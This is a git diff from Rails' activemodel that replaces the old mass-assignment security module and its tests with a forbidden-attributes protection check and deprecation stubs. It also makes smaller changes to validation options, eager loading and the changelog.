-## Rails 3.0.12 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* Fix when database column name has some symbolic characters (e.g. Oracle CASE# VARCHAR2(20)) #5818 #6850 *Robert Pankowecki, Santiago Pastorino*
-
-* Fix length validation for fixnums #6556 *Andriy Tyurnikov*
-
-* Fix i18n key collision with namespaced models #6448 *yves.senn*
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* No changes.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* No changes
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* Added ActiveModel::MassAssignmentSecurity *Eric Chapweske, Josh Kalderimis*
-
-* JSON supports a custom root option: to_json(:root => 'custom') #4515 *Jatinder Singh*
-
-* #new_record? and #destroyed? were removed from ActiveModel::Lint. Use
- persisted? instead. A model is persisted if it's not a new_record? and it was
- not destroyed? *MG*
-
-* Added validations reflection in ActiveModel::Validations *JV*
-
- Model.validators
- Model.validators_on(:field)
-
-* #to_key was added to ActiveModel::Lint so we can generate DOM IDs for
- AMo objects with composite keys *MG*
-
-* ActiveModel::Observer#add_observer!
-
- It has a custom hook to define after_find that should really be in a
- ActiveRecord::Observer subclass:
-
- def add_observer!(klass)
- klass.add_observer(self)
- klass.class_eval 'def after_find() end' unless klass.respond_to?(:after_find)
- end
-
-* Change the ActiveModel::Base.include_root_in_json default to true for Rails 3 *DHH*
-
-* Add validates_format_of :without => /regexp/ option. #430 *Elliot Winkler, Peer Allan*
-
- Example :
-
- validates_format_of :subdomain, :without => /www|admin|mail/
-
-* Introduce validates_with to encapsulate attribute validations in a class. #2630 *Jeff Dean*
-
-* Extracted from Active Record and Active Resource.
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 66f324a1a1..be5d5d3ca8 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -18,5 +18,5 @@ Gem::Specification.new do |s|
s.require_path = 'lib'
s.add_dependency('activesupport', version)
- s.add_dependency('builder', '~> 3.0.0')
+ s.add_dependency('builder', '~> 3.1.0')
end
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index ec2d734647..f757ba9843 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -34,10 +34,10 @@ module ActiveModel
autoload :Conversion
autoload :Dirty
autoload :EachValidator, 'active_model/validator'
- autoload :Errors
+ autoload :ForbiddenAttributesProtection
autoload :Lint
- autoload :MassAssignmentSecurity
autoload :Model
+ autoload :DeprecatedMassAssignmentSecurity
autoload :Name, 'active_model/naming'
autoload :Naming
autoload :Observer, 'active_model/observing'
@@ -49,11 +49,22 @@ module ActiveModel
autoload :Validations
autoload :Validator
+ eager_autoload do
+ autoload :Errors
+ end
+
module Serializers
extend ActiveSupport::Autoload
- autoload :JSON
- autoload :Xml
+ eager_autoload do
+ autoload :JSON
+ autoload :Xml
+ end
+ end
+
+ def eager_load!
+ super
+ ActiveModel::Serializer.eager_load!
end
end
diff --git a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
new file mode 100644
index 0000000000..2ea69991fc
--- /dev/null
+++ b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
@@ -0,0 +1,19 @@
+module ActiveModel
+ module DeprecatedMassAssignmentSecurity # :nodoc:
+ extend ActiveSupport::Concern
+
+ module ClassMethods # :nodoc:
+ def attr_protected(*args)
+ raise "`attr_protected` is extracted out of Rails into a gem. " \
+ "Please use new recommended protection model for params " \
+ "or add `protected_attributes` to your Gemfile to use old one."
+ end
+
+ def attr_accessible(*args)
+ raise "`attr_accessible` is extracted out of Rails into a gem. " \
+ "Please use new recommended protection model for params " \
+ "or add `protected_attributes` to your Gemfile to use old one."
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
new file mode 100644
index 0000000000..4c05b19cba
--- /dev/null
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -0,0 +1,27 @@
+module ActiveModel
+ # Raised when forbidden attributes are used for mass assignment.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Bob')
+ # Person.new(params)
+ # # => ActiveModel::ForbiddenAttributesError
+ #
+ # params.permit!
+ # Person.new(params)
+ # # => #<Person id: nil, name: "Bob">
+ class ForbiddenAttributesError < StandardError
+ end
+
+ module ForbiddenAttributesProtection # :nodoc:
+ protected
+ def sanitize_for_mass_assignment(attributes, options = {})
+ if attributes.respond_to?(:permitted?) && !attributes.permitted?
+ raise ActiveModel::ForbiddenAttributesError
+ else
+ attributes
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/mass_assignment_security.rb b/activemodel/lib/active_model/mass_assignment_security.rb
deleted file mode 100644
index f9841abcb0..0000000000
--- a/activemodel/lib/active_model/mass_assignment_security.rb
+++ /dev/null
@@ -1,350 +0,0 @@
-require 'active_support/core_ext/string/inflections'
-require 'active_model/mass_assignment_security/permission_set'
-require 'active_model/mass_assignment_security/sanitizer'
-
-module ActiveModel
- # == Active Model Mass-Assignment Security
- #
- # Mass assignment security provides an interface for protecting attributes
- # from end-user assignment. For more complex permissions, mass assignment
- # security may be handled outside the model by extending a non-ActiveRecord
- # class, such as a controller, with this behavior.
- #
- # For example, a logged in user may need to assign additional attributes
- # depending on their role:
- #
- # class AccountsController < ApplicationController
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessible :first_name, :last_name
- # attr_accessible :first_name, :last_name, :plan_id, as: :admin
- #
- # def update
- # ...
- # @account.update_attributes(account_params)
- # ...
- # end
- #
- # protected
- #
- # def account_params
- # role = admin ? :admin : :default
- # sanitize_for_mass_assignment(params[:account], role)
- # end
- #
- # end
- #
- # === Configuration options
- #
- # * <tt>mass_assignment_sanitizer</tt> - Defines sanitize method. Possible
- # values are:
- # * <tt>:logger</tt> (default) - writes filtered attributes to logger
- # * <tt>:strict</tt> - raise <tt>ActiveModel::MassAssignmentSecurity::Error</tt>
- # on any protected attribute update.
- #
- # You can specify your own sanitizer object eg. <tt>MySanitizer.new</tt>.
- # See <tt>ActiveModel::MassAssignmentSecurity::LoggerSanitizer</tt> for
- # example implementation.
- module MassAssignmentSecurity
- extend ActiveSupport::Concern
-
- included do
- class_attribute :_accessible_attributes, instance_writer: false
- class_attribute :_protected_attributes, instance_writer: false
- class_attribute :_active_authorizer, instance_writer: false
-
- class_attribute :_mass_assignment_sanitizer, instance_writer: false
- self.mass_assignment_sanitizer = :logger
- end
-
- module ClassMethods
- # Attributes named in this macro are protected from mass-assignment
- # whenever attributes are sanitized before assignment. A role for the
- # attributes is optional, if no role is provided then <tt>:default</tt>
- # is used. A role can be defined by using the <tt>:as</tt> option with a
- # symbol or an array of symbols as the value.
- #
- # Mass-assignment to these attributes will simply be ignored, to assign
- # to them you can use direct writer methods. This is meant to protect
- # sensitive attributes from being overwritten by malicious users
- # tampering with URLs or forms.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name, :email, :logins_count
- #
- # attr_protected :logins_count
- # # Suppose that admin can not change email for customer
- # attr_protected :logins_count, :email, as: :admin
- #
- # def assign_attributes(values, options = {})
- # sanitize_for_mass_assignment(values, options[:as]).each do |k, v|
- # send("#{k}=", v)
- # end
- # end
- # end
- #
- # When using the <tt>:default</tt> role:
- #
- # customer = Customer.new
- # customer.assign_attributes({ name: 'David', email: 'a@b.com', logins_count: 5 }, as: :default)
- # customer.name # => "David"
- # customer.email # => "a@b.com"
- # customer.logins_count # => nil
- #
- # And using the <tt>:admin</tt> role:
- #
- # customer = Customer.new
- # customer.assign_attributes({ name: 'David', email: 'a@b.com', logins_count: 5}, as: :admin)
- # customer.name # => "David"
- # customer.email # => nil
- # customer.logins_count # => nil
- #
- # customer.email = 'c@d.com'
- # customer.email # => "c@d.com"
- #
- # To start from an all-closed default and enable attributes as needed,
- # have a look at +attr_accessible+.
- #
- # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of
- # +attr_protected+ to sanitize attributes provides basically the same
- # functionality, but it makes a bit tricky to deal with nested attributes.
- def attr_protected(*args)
- options = args.extract_options!
- role = options[:as] || :default
-
- self._protected_attributes = protected_attributes_configs.dup
-
- Array(role).each do |name|
- self._protected_attributes[name] = self.protected_attributes(name) + args
- end
-
- self._active_authorizer = self._protected_attributes
- end
-
- # Specifies a white list of model attributes that can be set via
- # mass-assignment.
- #
- # Like +attr_protected+, a role for the attributes is optional,
- # if no role is provided then <tt>:default</tt> is used. A role can be
- # defined by using the <tt>:as</tt> option with a symbol or an array of
- # symbols as the value.
- #
- # This is the opposite of the +attr_protected+ macro: Mass-assignment
- # will only set attributes in this list, to assign to the rest of
- # attributes you can use direct writer methods. This is meant to protect
- # sensitive attributes from being overwritten by malicious users
- # tampering with URLs or forms. If you'd rather start from an all-open
- # default and restrict attributes as needed, have a look at
- # +attr_protected+.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name, :credit_rating
- #
- # # Both admin and default user can change name of a customer
- # attr_accessible :name, as: [:admin, :default]
- # # Only admin can change credit rating of a customer
- # attr_accessible :credit_rating, as: :admin
- #
- # def assign_attributes(values, options = {})
- # sanitize_for_mass_assignment(values, options[:as]).each do |k, v|
- # send("#{k}=", v)
- # end
- # end
- # end
- #
- # When using the <tt>:default</tt> role:
- #
- # customer = Customer.new
- # customer.assign_attributes({ name: 'David', credit_rating: 'Excellent', last_login: 1.day.ago }, as: :default)
- # customer.name # => "David"
- # customer.credit_rating # => nil
- #
- # customer.credit_rating = 'Average'
- # customer.credit_rating # => "Average"
- #
- # And using the <tt>:admin</tt> role:
- #
- # customer = Customer.new
- # customer.assign_attributes({ name: 'David', credit_rating: 'Excellent', last_login: 1.day.ago }, as: :admin)
- # customer.name # => "David"
- # customer.credit_rating # => "Excellent"
- #
- # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of
- # +attr_accessible+ to sanitize attributes provides basically the same
- # functionality, but it makes a bit tricky to deal with nested attributes.
- def attr_accessible(*args)
- options = args.extract_options!
- role = options[:as] || :default
-
- self._accessible_attributes = accessible_attributes_configs.dup
-
- Array(role).each do |name|
- self._accessible_attributes[name] = self.accessible_attributes(name) + args
- end
-
- self._active_authorizer = self._accessible_attributes
- end
-
- # Returns an instance of <tt>ActiveModel::MassAssignmentSecurity::BlackList</tt>
- # with the attributes protected by #attr_protected method. If no +role+
- # is provided, then <tt>:default</tt> is used.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name, :email, :logins_count
- #
- # attr_protected :logins_count
- # attr_protected :logins_count, :email, as: :admin
- # end
- #
- # Customer.protected_attributes
- # # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count"}>
- #
- # Customer.protected_attributes(:default)
- # # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count"}>
- #
- # Customer.protected_attributes(:admin)
- # # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count", "email"}>
- def protected_attributes(role = :default)
- protected_attributes_configs[role]
- end
-
- # Returns an instance of <tt>ActiveModel::MassAssignmentSecurity::WhiteList</tt>
- # with the attributes protected by #attr_accessible method. If no +role+
- # is provided, then <tt>:default</tt> is used.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name, :credit_rating
- #
- # attr_accessible :name, as: [:admin, :default]
- # attr_accessible :credit_rating, as: :admin
- # end
- #
- # Customer.accessible_attributes
- # # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
- #
- # Customer.accessible_attributes(:default)
- # # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
- #
- # Customer.accessible_attributes(:admin)
- # # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name", "credit_rating"}>
- def accessible_attributes(role = :default)
- accessible_attributes_configs[role]
- end
-
- # Returns a hash with the protected attributes (by #attr_accessible or
- # #attr_protected) per role.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name, :credit_rating
- #
- # attr_accessible :name, as: [:admin, :default]
- # attr_accessible :credit_rating, as: :admin
- # end
- #
- # Customer.active_authorizers
- # # => {
- # # :admin=> #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name", "credit_rating"}>,
- # # :default=>#<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
- # #  }
- def active_authorizers
- self._active_authorizer ||= protected_attributes_configs
- end
- alias active_authorizer active_authorizers
-
- # Returns an empty array by default. You can still override this to define
- # the default attributes protected by #attr_protected method.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # def self.attributes_protected_by_default
- # [:name]
- # end
- # end
- #
- # Customer.protected_attributes
- # # => #<ActiveModel::MassAssignmentSecurity::BlackList: {:name}>
- def attributes_protected_by_default
- []
- end
-
- # Defines sanitize method.
- #
- # class Customer
- # include ActiveModel::MassAssignmentSecurity
- #
- # attr_accessor :name
- #
- # attr_protected :name
- #
- # def assign_attributes(values)
- # sanitize_for_mass_assignment(values).each do |k, v|
- # send("#{k}=", v)
- # end
- # end
- # end
- #
- # # See ActiveModel::MassAssignmentSecurity::StrictSanitizer for more information.
- # Customer.mass_assignment_sanitizer = :strict
- #
- # customer = Customer.new
- # customer.assign_attributes(name: 'David')
- # # => ActiveModel::MassAssignmentSecurity::Error: Can't mass-assign protected attributes for Customer: name
- #
- # Also, you can specify your own sanitizer object.
- #
- # class CustomSanitizer < ActiveModel::MassAssignmentSecurity::Sanitizer
- # def process_removed_attributes(klass, attrs)
- # raise StandardError
- # end
- # end
- #
- # Customer.mass_assignment_sanitizer = CustomSanitizer.new
- #
- # customer = Customer.new
- # customer.assign_attributes(name: 'David')
- # # => StandardError: StandardError
- def mass_assignment_sanitizer=(value)
- self._mass_assignment_sanitizer = if value.is_a?(Symbol)
- const_get(:"#{value.to_s.camelize}Sanitizer").new(self)
- else
- value
- end
- end
-
- private
-
- def protected_attributes_configs
- self._protected_attributes ||= begin
- Hash.new { |h,k| h[k] = BlackList.new(attributes_protected_by_default) }
- end
- end
-
- def accessible_attributes_configs
- self._accessible_attributes ||= begin
- Hash.new { |h,k| h[k] = WhiteList.new }
- end
- end
- end
-
- protected
-
- def sanitize_for_mass_assignment(attributes, role = nil) #:nodoc:
- _mass_assignment_sanitizer.sanitize(self.class, attributes, mass_assignment_authorizer(role))
- end
-
- def mass_assignment_authorizer(role) #:nodoc:
- self.class.active_authorizer[role || :default]
- end
- end
-end
diff --git a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb b/activemodel/lib/active_model/mass_assignment_security/permission_set.rb
deleted file mode 100644
index f104d0306c..0000000000
--- a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'set'
-
-module ActiveModel
- module MassAssignmentSecurity
- class PermissionSet < Set #:nodoc:
-
- def +(values)
- super(values.compact.map(&:to_s))
- end
-
- def include?(key)
- super(remove_multiparameter_id(key))
- end
-
- def deny?(key)
- raise NotImplementedError, "#deny?(key) supposed to be overwritten"
- end
-
- protected
-
- def remove_multiparameter_id(key)
- key.to_s.gsub(/\(.+/, '')
- end
- end
-
- class WhiteList < PermissionSet #:nodoc:
-
- def deny?(key)
- !include?(key)
- end
- end
-
- class BlackList < PermissionSet #:nodoc:
-
- def deny?(key)
- include?(key)
- end
- end
- end
-end
diff --git a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
deleted file mode 100644
index dafb7cdff3..0000000000
--- a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-module ActiveModel
- module MassAssignmentSecurity
- class Sanitizer #:nodoc:
- # Returns all attributes not denied by the authorizer.
- def sanitize(klass, attributes, authorizer)
- rejected = []
- sanitized_attributes = attributes.reject do |key, value|
- rejected << key if authorizer.deny?(key)
- end
- process_removed_attributes(klass, rejected) unless rejected.empty?
- sanitized_attributes
- end
-
- protected
-
- def process_removed_attributes(klass, attrs)
- raise NotImplementedError, "#process_removed_attributes(attrs) suppose to be overwritten"
- end
- end
-
- class LoggerSanitizer < Sanitizer #:nodoc:
- def initialize(target)
- @target = target
- super()
- end
-
- def logger
- @target.logger
- end
-
- def logger?
- @target.respond_to?(:logger) && @target.logger
- end
-
- def backtrace
- if defined? Rails
- Rails.backtrace_cleaner.clean(caller)
- else
- caller
- end
- end
-
- def process_removed_attributes(klass, attrs)
- if logger?
- logger.warn do
- "WARNING: Can't mass-assign protected attributes for #{klass.name}: #{attrs.join(', ')}\n" +
- backtrace.map { |trace| "\t#{trace}" }.join("\n")
- end
- end
- end
- end
-
- class StrictSanitizer < Sanitizer #:nodoc:
- def initialize(target = nil)
- super()
- end
-
- def process_removed_attributes(klass, attrs)
- return if (attrs - insensitive_attributes).empty?
- raise ActiveModel::MassAssignmentSecurity::Error.new(klass, attrs)
- end
-
- def insensitive_attributes
- ['id']
- end
- end
-
- class Error < StandardError #:nodoc:
- def initialize(klass, attrs)
- super("Can't mass-assign protected attributes for #{klass.name}: #{attrs.join(', ')}")
- end
- end
- end
-end
diff --git a/activemodel/lib/active_model/railtie.rb b/activemodel/lib/active_model/railtie.rb
index 63ffe5db63..f239758b35 100644
--- a/activemodel/lib/active_model/railtie.rb
+++ b/activemodel/lib/active_model/railtie.rb
@@ -1,2 +1,8 @@
require "active_model"
-require "rails" \ No newline at end of file
+require "rails"
+
+module ActiveModel
+ class Railtie < Rails::Railtie
+ config.eager_load_namespaces << ActiveModel
+ end
+end \ No newline at end of file
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index bf3fe7ff04..c153ef4309 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -56,7 +56,8 @@ module ActiveModel
options = args.last
if options.is_a?(Hash) && options[:on]
options[:if] = Array(options[:if])
- options[:if].unshift("self.validation_context == :#{options[:on]}")
+ options[:on] = Array(options[:on])
+ options[:if].unshift("#{options[:on]}.include? self.validation_context")
end
set_callback(:validation, :before, *args, &block)
end
@@ -92,7 +93,10 @@ module ActiveModel
options = args.extract_options!
options[:prepend] = true
options[:if] = Array(options[:if])
- options[:if].unshift("self.validation_context == :#{options[:on]}") if options[:on]
+ if options[:on]
+ options[:on] = Array(options[:on])
+ options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ end
set_callback(:validation, :after, *(args << options), &block)
end
end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index 643a6f2b7c..3d7067fbcb 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -1,13 +1,13 @@
-require 'active_support/core_ext/range.rb'
+require 'active_support/core_ext/range'
module ActiveModel
module Validations
module Clusivity #:nodoc:
- ERROR_MESSAGE = "An object with the method #include? or a proc or lambda is required, " <<
+ ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " <<
"and must be supplied as the :in (or :within) option of the configuration hash"
def check_validity!
- unless [:include?, :call].any?{ |method| delimiter.respond_to?(method) }
+ unless delimiter.respond_to?(:include?) || delimiter.respond_to?(:call) || delimiter.respond_to?(:to_sym)
raise ArgumentError, ERROR_MESSAGE
end
end
@@ -15,7 +15,14 @@ module ActiveModel
private
def include?(record, value)
- exclusions = delimiter.respond_to?(:call) ? delimiter.call(record) : delimiter
+ exclusions = if delimiter.respond_to?(:call)
+ delimiter.call(record)
+ elsif delimiter.respond_to?(:to_sym)
+ record.send(delimiter)
+ else
+ delimiter
+ end
+
exclusions.send(inclusion_method(exclusions), value)
end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index dc3368c569..3ec552c372 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -24,11 +24,12 @@ module ActiveModel
# validates_exclusion_of :format, in: %w( mov avi ), message: "extension %{value} is not allowed"
# validates_exclusion_of :password, in: ->(person) { [person.username, person.first_name] },
# message: 'should not be the same as your username or first name'
+ # validates_exclusion_of :karma, in: :reserved_karmas
# end
#
# Configuration options:
# * <tt>:in</tt> - An enumerable object of items that the value shouldn't
- # be part of. This can be supplied as a proc or lambda which returns an
+ # be part of. This can be supplied as a proc, lambda or symbol which returns an
# enumerable. If the enumerable is a range the test is performed with
# * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
# <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index c2835c550b..babc8982da 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -23,11 +23,12 @@ module ActiveModel
# validates_inclusion_of :age, in: 0..99
# validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
# validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
+ # validates_inclusion_of :karma, in: :available_karmas
# end
#
# Configuration options:
# * <tt>:in</tt> - An enumerable object of available items. This can be
- # supplied as a proc or lambda which returns an enumerable. If the
+ # supplied as a proc, lambda or symbol which returns an enumerable. If the
# enumerable is a range the test is performed with <tt>Range#cover?</tt>,
# otherwise with <tt>include?</tt>.
# * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index eb6e604851..03046a543a 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -94,10 +94,10 @@ module ActiveModel
# validates :token, uniqueness: true, strict: TokenGenerationException
#
#
- # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+
- # and +:strict+ can be given to one specific validator, as a hash:
+ # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+, +:strict+
+ # and +:message+ can be given to one specific validator, as a hash:
#
- # validates :password, presence: { if: :password_required? }, confirmation: true
+ # validates :password, presence: { if: :password_required?, message: 'is forgotten.' }, confirmation: true
def validates(*attributes)
defaults = attributes.extract_options!.dup
validations = defaults.slice!(*_validates_default_keys)
diff --git a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
new file mode 100644
index 0000000000..c1fe8822cd
--- /dev/null
+++ b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
@@ -0,0 +1,16 @@
+require 'cases/helper'
+require 'models/project'
+
+class DeprecatedMassAssignmentSecurityTest < ActiveModel::TestCase
+ def test_attr_accessible_raise_error
+ assert_raise RuntimeError, /protected_attributes/ do
+ Project.attr_accessible :username
+ end
+ end
+
+ def test_attr_protected_raise_error
+ assert_raise RuntimeError, /protected_attributes/ do
+ Project.attr_protected :username
+ end
+ end
+end
diff --git a/activemodel/test/cases/forbidden_attributes_protection_test.rb b/activemodel/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000000..3cb204a2c5
--- /dev/null
+++ b/activemodel/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'models/account'
+
+class ProtectedParams < ActiveSupport::HashWithIndifferentAccess
+ attr_accessor :permitted
+ alias :permitted? :permitted
+
+ def initialize(attributes)
+ super(attributes)
+ @permitted = false
+ end
+
+ def permit!
+ @permitted = true
+ self
+ end
+end
+
+class ActiveModelMassUpdateProtectionTest < ActiveSupport::TestCase
+ test "forbidden attributes cannot be used for mass updating" do
+ params = ProtectedParams.new({ "a" => "b" })
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Account.new.sanitize_for_mass_assignment(params)
+ end
+ end
+
+ test "permitted attributes can be used for mass updating" do
+ params = ProtectedParams.new({ "a" => "b" }).permit!
+ assert_equal({ "a" => "b" }, Account.new.sanitize_for_mass_assignment(params))
+ end
+
+ test "regular attributes should still be allowed" do
+ assert_equal({ a: "b" }, Account.new.sanitize_for_mass_assignment(a: "b"))
+ end
+end
diff --git a/activemodel/test/cases/mass_assignment_security/black_list_test.rb b/activemodel/test/cases/mass_assignment_security/black_list_test.rb
deleted file mode 100644
index 0ec7f8719c..0000000000
--- a/activemodel/test/cases/mass_assignment_security/black_list_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require "cases/helper"
-
-class BlackListTest < ActiveModel::TestCase
-
- def setup
- @black_list = ActiveModel::MassAssignmentSecurity::BlackList.new
- @included_key = 'admin'
- @black_list += [ @included_key ]
- end
-
- test "deny? is true for included items" do
- assert_equal true, @black_list.deny?(@included_key)
- end
-
- test "deny? is false for non-included items" do
- assert_equal false, @black_list.deny?('first_name')
- end
-
-
-end
diff --git a/activemodel/test/cases/mass_assignment_security/permission_set_test.rb b/activemodel/test/cases/mass_assignment_security/permission_set_test.rb
deleted file mode 100644
index 8082c49852..0000000000
--- a/activemodel/test/cases/mass_assignment_security/permission_set_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require "cases/helper"
-
-class PermissionSetTest < ActiveModel::TestCase
-
- def setup
- @permission_list = ActiveModel::MassAssignmentSecurity::PermissionSet.new
- end
-
- test "+ stringifies added collection values" do
- symbol_collection = [ :admin ]
- new_list = @permission_list += symbol_collection
-
- assert new_list.include?('admin'), "did not add collection to #{@permission_list.inspect}}"
- end
-
- test "+ compacts added collection values" do
- added_collection = [ nil ]
- new_list = @permission_list + added_collection
- assert_equal new_list, @permission_list, "did not add collection to #{@permission_list.inspect}}"
- end
-
- test "include? normalizes multi-parameter keys" do
- multi_param_key = 'admin(1)'
- new_list = @permission_list += [ 'admin' ]
-
- assert new_list.include?(multi_param_key), "#{multi_param_key} not found in #{@permission_list.inspect}"
- end
-
- test "include? normal keys" do
- normal_key = 'admin'
- new_list = @permission_list += [ normal_key ]
-
- assert new_list.include?(normal_key), "#{normal_key} not found in #{@permission_list.inspect}"
- end
-
-end
diff --git a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
deleted file mode 100644
index b141cec059..0000000000
--- a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require "cases/helper"
-require 'active_support/logger'
-
-class SanitizerTest < ActiveModel::TestCase
- attr_accessor :logger
-
- class Authorizer < ActiveModel::MassAssignmentSecurity::PermissionSet
- def deny?(key)
- ['admin', 'id'].include?(key)
- end
- end
-
- def setup
- @logger_sanitizer = ActiveModel::MassAssignmentSecurity::LoggerSanitizer.new(self)
- @strict_sanitizer = ActiveModel::MassAssignmentSecurity::StrictSanitizer.new(self)
- @authorizer = Authorizer.new
- end
-
- test "sanitize attributes" do
- original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
- attributes = @logger_sanitizer.sanitize(self.class, original_attributes, @authorizer)
-
- assert attributes.key?('first_name'), "Allowed key shouldn't be rejected"
- assert !attributes.key?('admin'), "Denied key should be rejected"
- end
-
- test "debug mass assignment removal with LoggerSanitizer" do
- original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
- log = StringIO.new
- self.logger = ActiveSupport::Logger.new(log)
- @logger_sanitizer.sanitize(self.class, original_attributes, @authorizer)
- assert_match(/admin/, log.string, "Should log removed attributes: #{log.string}")
- end
-
- test "debug mass assignment removal with StrictSanitizer" do
- original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
- assert_raise ActiveModel::MassAssignmentSecurity::Error do
- @strict_sanitizer.sanitize(self.class, original_attributes, @authorizer)
- end
- end
-
- test "mass assignment insensitive attributes" do
- original_attributes = {'id' => 1, 'first_name' => 'allowed'}
-
- assert_nothing_raised do
- @strict_sanitizer.sanitize(self.class, original_attributes, @authorizer)
- end
- end
-
-end
diff --git a/activemodel/test/cases/mass_assignment_security/white_list_test.rb b/activemodel/test/cases/mass_assignment_security/white_list_test.rb
deleted file mode 100644
index 737b55492a..0000000000
--- a/activemodel/test/cases/mass_assignment_security/white_list_test.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require "cases/helper"
-
-class WhiteListTest < ActiveModel::TestCase
-
- def setup
- @white_list = ActiveModel::MassAssignmentSecurity::WhiteList.new
- @included_key = 'first_name'
- @white_list += [ @included_key ]
- end
-
- test "deny? is false for included items" do
- assert_equal false, @white_list.deny?(@included_key)
- end
-
- test "deny? is true for non-included items" do
- assert_equal true, @white_list.deny?('admin')
- end
-
-end
diff --git a/activemodel/test/cases/mass_assignment_security_test.rb b/activemodel/test/cases/mass_assignment_security_test.rb
